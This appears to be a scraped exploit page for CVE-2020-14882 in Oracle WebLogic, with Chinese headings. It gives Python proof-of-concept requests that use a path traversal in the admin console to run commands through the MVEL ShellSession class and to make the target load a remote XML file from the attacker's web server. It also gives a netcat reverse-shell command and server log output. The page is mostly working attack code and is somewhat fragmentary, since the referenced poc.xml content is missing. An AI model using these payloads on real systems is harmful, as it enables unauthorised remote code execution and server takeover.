# CVE-2020-14882 ## coherence shellsession calc.exe root@kitploit:~ import requests url = 'http://{}:{}/console/images/%252E%252E%252Fconsole.portal' \ '?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)'.format('192.168.1.53', '7001') response = requests.get(url) ## FileSystemXmlApplicationContext 使用 nc 反弹 Shell 使用以下 poc.xml 启动 Web 服务器： root@kitploit:~

cmd /c C:\temp\nc.exe 192.168.1.41 4444

$ python3 -m http.server root@kitploit:~ import requests url = 'http://{}:{}/console/images/%252E%252E%252Fconsole.portal' \ '?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' \ '(%22http://192.168.1.41:8000/poc.xml%22)'.format('192.168.1.53', '7001') response = requests.get(url) root@kitploit:~ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... 192.168.1.53 - - [30/Oct/2020 07:00:12] "GET /poc.xml HTTP/1.1" 200 -

Query Builder